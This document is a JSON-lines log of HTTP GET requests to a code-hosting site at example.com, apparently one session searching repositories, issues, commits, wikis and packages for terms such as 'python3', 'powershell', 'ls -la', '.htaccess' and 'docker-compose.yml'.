{"method": "GET", "target": "/explore/repos?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/explore/code?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/explore", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/issues?type=all&state=open&q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/pulls?state=open&q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/issues?type=your_repositories&q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/branches?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/explore/users?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/explore/organizations?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice?tab=repositories&q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/avatars/53bce4f1dfa0fe8e7ca126f91b35d3a6?size=64", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice?tab=repositories&q=python3", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/commits/branch/main/search?q=python3&all=true", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/-/packages?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/wiki/search?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/explore/repos?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/explore/code?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/issues?type=all&state=open&q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/pulls?state=open&q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/issues?type=your_repositories&q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/branches?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/explore/users?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/explore/organizations?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice?tab=repositories&q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/commits/branch/main/search?q=powershell&all=true", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/-/packages?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/wiki/search?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/explore/repos?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/explore/code?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/issues?type=all&state=open&q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/pulls?state=open&q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/issues?type=your_repositories&q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/branches?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/explore/users?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/explore/organizations?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/commits/branch/main/search?q=ls%20-la&all=true", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/-/packages?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/wiki/search?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/explore/repos?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/explore/code?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/issues?type=all&state=open&q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/pulls?state=open&q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/issues?type=your_repositories&q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/branches?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/explore/users?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/explore/organizations?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice?tab=repositories&q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/commits/branch/main/search?q=.htaccess&all=true", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/-/packages?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/wiki/search?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
